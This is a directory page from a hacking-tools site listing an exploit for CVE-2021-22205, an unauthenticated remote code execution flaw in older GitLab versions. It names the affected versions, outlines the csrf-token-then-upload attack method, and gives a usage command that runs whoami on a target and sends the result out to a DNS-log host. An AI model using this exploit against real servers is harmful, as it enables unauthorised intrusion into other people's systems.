Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-22205 — CVE-2021-22205 Unauthorized RCE | Kitploit
Tools/GitHubGitHub/r0exper/cve-2021-22205
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubr0exper/cve-2021-22205

CVE-2021-22205

CVE-2021-22205 Unauthorized RCE

View Repository
692724 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-22205

Affected versions:

  • Gitlab CE/EE < 13.10.3
  • Gitlab CE/EE < 13.9.6
  • Gitlab CE/EE < 13.8.8

Usage

root@kitploit:~
python3 CVE-2021-22205.py target "curl \`whoami\`.dnslog"

Xnip2021-10-28_21-54-04

Get csrf-token:

Xnip2021-10-28_21-44-31

Obtain the csrf-token via /users/sign_in, then use the previous CVE-2021-22205 POC to construct and execute an unauthenticated upload request, ultimately achieving RCE.

Xnip2021-10-28_21-43-13

ref:

  • https://hackerone.com/reports/1154542
  • https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
  • https://forum.ywhack.com/viewthread.php?tid=115611
  • https://forum.ywhack.com/viewthread.php?tid=116706
  • https://github.com/RedTeamWing/CVE-2021-22205
Download Tool